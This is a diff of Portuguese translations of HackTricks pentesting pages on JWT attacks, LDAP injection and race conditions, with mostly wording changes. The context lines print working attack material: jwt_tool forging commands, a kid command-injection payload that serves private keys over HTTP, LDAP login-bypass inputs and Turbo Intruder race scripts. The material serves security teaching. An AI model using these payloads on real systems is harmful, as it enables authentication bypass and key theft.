* Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, exigindo investigação adicional.
|
||||
* Tokens originados no lado do servidor indicam um processo seguro.
|
||||
* Tokens originados do lado do servidor indicam um processo seguro.
|
||||
|
||||
### Duração
|
||||
|
||||
|
@ -72,7 +72,7 @@ Defina o algoritmo usado como "None" e remova a parte da assinatura.
|
|||
|
||||
Use a extensão Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na guia "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" como "None").
|
||||
|
||||
### Alterar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Alterar o algoritmo de RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.\
|
||||
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
|
||||
|
@ -108,21 +108,21 @@ As instruções detalham um método para avaliar a segurança de tokens JWT, esp
|
|||
python3 jwt_tool.py JWT_AQUI -X s
|
||||
```
|
||||
|
||||
### Visão Geral de Problemas com "kid"
|
||||
### Visão Geral de Problemas com "Kid"
|
||||
|
||||
Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes nos quais múltiplas chaves existem para verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
||||
Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes nos quais múltiplas chaves existem para a verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
||||
|
||||
#### Revelando Chave através de "kid"
|
||||
|
||||
Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
||||
|
||||
#### Traversing de Caminho com "kid"
|
||||
#### Traversão de Caminho com "kid"
|
||||
|
||||
A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É possível testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo `/proc/sys/kernel/randomize_va_space` em sistemas Linux, conhecido por conter o valor **2**, pode ser usado no parâmetro `kid` com **2** como a senha simétrica para a geração do JWT.
|
||||
Ao visar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo `/proc/sys/kernel/randomize_va_space` em sistemas Linux, conhecido por conter o valor **2**, pode ser usado no parâmetro `kid` com **2** como a senha simétrica para a geração do JWT.
|
||||
|
||||
#### Injeção de SQL via "kid"
|
||||
|
||||
|
@ -134,7 +134,7 @@ Essa alteração força o uso de uma chave secreta conhecida, `ATTACKER`, para a
|
|||
|
||||
#### Injeção de SO através do "kid"
|
||||
|
||||
Um cenário em que o parâmetro `kid` especifica um caminho de arquivo usado em um contexto de execução de comando poderia levar a vulnerabilidades de Execução de Código Remoto (RCE). Ao injetar comandos no parâmetro `kid`, é possível expor chaves privadas. Um exemplo de carga útil para alcançar RCE e exposição de chaves é:
|
||||
Um cenário em que o parâmetro `kid` especifica um caminho de arquivo usado dentro de um contexto de execução de comando poderia levar a vulnerabilidades de Execução de Código Remoto (RCE). Ao injetar comandos no parâmetro `kid`, é possível expor chaves privadas. Um exemplo de carga útil para alcançar RCE e exposição de chaves é:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -142,7 +142,7 @@ Um cenário em que o parâmetro `kid` especifica um caminho de arquivo usado em
|
|||
|
||||
#### jku
|
||||
|
||||
jku significa **URL do Conjunto de JWK**.\
|
||||
jku significa **URL do Conjunto JWK**.\
|
||||
Se o token usar uma reivindicação de **Cabeçalho** "**jku**", **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que contém a Chave Pública para verificar o token. Manipule o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
|
||||
|
||||
Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
|
||||
|
@ -151,7 +151,7 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
|
||||
|
||||
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
|
||||
```bash
|
||||
|
@ -164,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
|
||||
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
|
||||
|
||||
Tente **alterar este cabeçalho para um URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
|
||||
|
||||
|
@ -177,7 +177,7 @@ Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o n
|
|||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
|
||||
Você também pode abusar de ambas essas vulnerabilidades **para SSRFs**.
|
||||
Você também pode abusar de ambas as vulnerabilidades **para SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -239,19 +239,19 @@ No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001
|
|||
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar reproduzir o token obtido em uma solicitação ao alvo para ver se é aceito.
|
||||
|
||||
* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área legal cinzenta.
|
||||
* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos ao se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área legal cinzenta.
|
||||
|
||||
**Verificação de Expiração de Tokens**
|
||||
|
||||
A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a personificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
|
||||
|
||||
* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
|
||||
* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderá expirar.
|
||||
|
||||
### Ferramentas
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -264,9 +264,9 @@ Se você está interessado em uma **carreira de hacking** e hackear o inhackeáv
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -26,13 +26,13 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**Se você deseja saber o que é LDAP acesse a seguinte página:**
|
||||
**Se você deseja saber o que é LDAP, acesse a seguinte página:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar adequadamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
|
||||
**Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar corretamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
|
||||
|
||||
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||||
|
||||
|
@ -56,13 +56,13 @@ Por exemplo:\
|
|||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
`(&(objectClass=user)(uid=*))`
|
||||
|
||||
Você pode acessar o banco de dados, e isso pode conter informações de muitos tipos diferentes.
|
||||
Você pode acessar o banco de dados, que pode conter informações de diversos tipos diferentes.
|
||||
|
||||
**OpenLDAP**: Se 2 filtros chegarem, apenas executa o primeiro.\
|
||||
**ADAM ou Microsoft LDS**: Com 2 filtros eles lançam um erro.\
|
||||
**ADAM ou Microsoft LDS**: Com 2 filtros, eles lançam um erro.\
|
||||
**SunOne Directory Server 5.0**: Executa ambos os filtros.
|
||||
|
||||
**É muito importante enviar o filtro com a sintaxe correta ou um erro será lançado. É melhor enviar apenas 1 filtro.**
|
||||
**É muito importante enviar o filtro com a sintaxe correta, ou um erro será lançado. É melhor enviar apenas 1 filtro.**
|
||||
|
||||
O filtro deve começar com: `&` ou `|`\
|
||||
Exemplo: `(&(directory=val1)(folder=public))`
|
||||
|
@ -74,7 +74,7 @@ Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o exe
|
|||
|
||||
### Bypass de Login
|
||||
|
||||
O LDAP suporta vários formatos para armazenar a senha: clara, md5, smd5, sh1, sha, crypt. Portanto, pode ser que independentemente do que você inserir na senha, ela seja hashada.
|
||||
O LDAP suporta vários formatos para armazenar a senha: clara, md5, smd5, sh1, sha, crypt. Portanto, pode ser que, independentemente do que você inserir na senha, ela seja hashada.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -221,15 +221,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
@ -237,6 +237,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,21 +3,21 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -34,18 +34,19 @@ Aqui você pode encontrar algumas técnicas para Sincronização de Solicitaçõ
|
|||
|
||||
#### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
|
||||
|
||||
- **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit consistente de condição de corrida.
|
||||
- **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea ao servidor.
|
||||
* **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit de condição de corrida consistente.
|
||||
* **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado em conjunto, alcançando a chegada simultânea ao servidor.
|
||||
|
||||
A **Preparação para a Sincronização de Último Byte** envolve:
|
||||
1. Enviar cabeçalhos e dados do corpo menos o último byte sem encerrar o fluxo.
|
||||
|
||||
1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo.
|
||||
2. Pausar por 100ms após o envio inicial.
|
||||
3. Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
|
||||
4. Fazer um ping para aquecer a conexão.
|
||||
3. Desativar o TCP\_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
|
||||
4. Fazer ping para aquecer a conexão.
|
||||
|
||||
O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
|
||||
O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
|
||||
|
||||
### Adaptando-se à Arquitetura do Servidor
|
||||
### Adaptando à Arquitetura do Servidor
|
||||
|
||||
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento da conexão do lado do servidor de forma preventiva, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
|
||||
|
||||
|
@ -55,8 +56,7 @@ Frameworks como o manipulador de sessão do PHP serializam solicitações por se
|
|||
|
||||
#### Superando Limites de Taxa ou Recursos
|
||||
|
||||
Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos limites de taxa ou recursos dos servidores web através de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida.
|
||||
|
||||
Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos de limite de taxa ou recursos dos servidores web por meio de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida.
|
||||
|
||||
## Exemplos de Ataque
|
||||
|
||||
|
@ -64,7 +64,7 @@ Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você for enviar **valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
|
||||
Se você for **enviar valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
|
|||
Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
|
||||
{% endhint %}
|
||||
|
||||
* **Intruder de Tubo - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como:
|
||||
* **Tubo Intruder - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -113,12 +113,12 @@ engine.openGate(currentAttempt)
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Bruto BF
|
||||
### Raw BF
|
||||
|
||||
Antes da pesquisa anterior, essas eram algumas cargas úteis usadas que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
|
||||
|
||||
* **Repeater:** Verifique os exemplos da seção anterior.
|
||||
* **Intruder**: Envie a **solicitação** para o **Intruder**, defina o **número de threads** para **30** dentro do menu **Opções e**, selecione como carga útil **Cargas úteis nulas** e gere **30.**
|
||||
* **Intruder**: Envie a **solicitação** para o **Intruder**, defina o **número de threads** para **30** dentro do menu **Opções e**, selecione como carga útil **Cargas úteis nulas** e gere **30**.
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
@ -166,11 +166,11 @@ print(results)
|
|||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **Metodologia RC**
|
||||
## Metodologia de RC
|
||||
|
||||
### Limite de estouro / TOCTOU
|
||||
|
||||
Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247)**.**
|
||||
Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado [**neste relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247).
|
||||
|
||||
Existem muitas variações desse tipo de ataque, incluindo:
|
||||
|
||||
|
@ -180,34 +180,33 @@ Existem muitas variações desse tipo de ataque, incluindo:
|
|||
* Reutilizar uma solução CAPTCHA única
|
||||
* Bypass de um limite de taxa anti-brute-force
|
||||
|
||||
### **Subestados ocultos**
|
||||
### Subestados ocultos
|
||||
|
||||
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso:
|
||||
|
||||
1. **Identificar Subestados Ocultos Potenciais**
|
||||
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
|
||||
- **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
|
||||
- **Ação**: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
|
||||
- **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações com chave no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
|
||||
|
||||
* Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
|
||||
* **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
|
||||
* **Ação**: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
|
||||
* **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações chaveadas no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
|
||||
2. **Conduzir Sondagem Inicial**
|
||||
- Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento do aplicativo podem sinalizar uma vulnerabilidade.
|
||||
|
||||
* Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento do aplicativo podem sinalizar uma vulnerabilidade.
|
||||
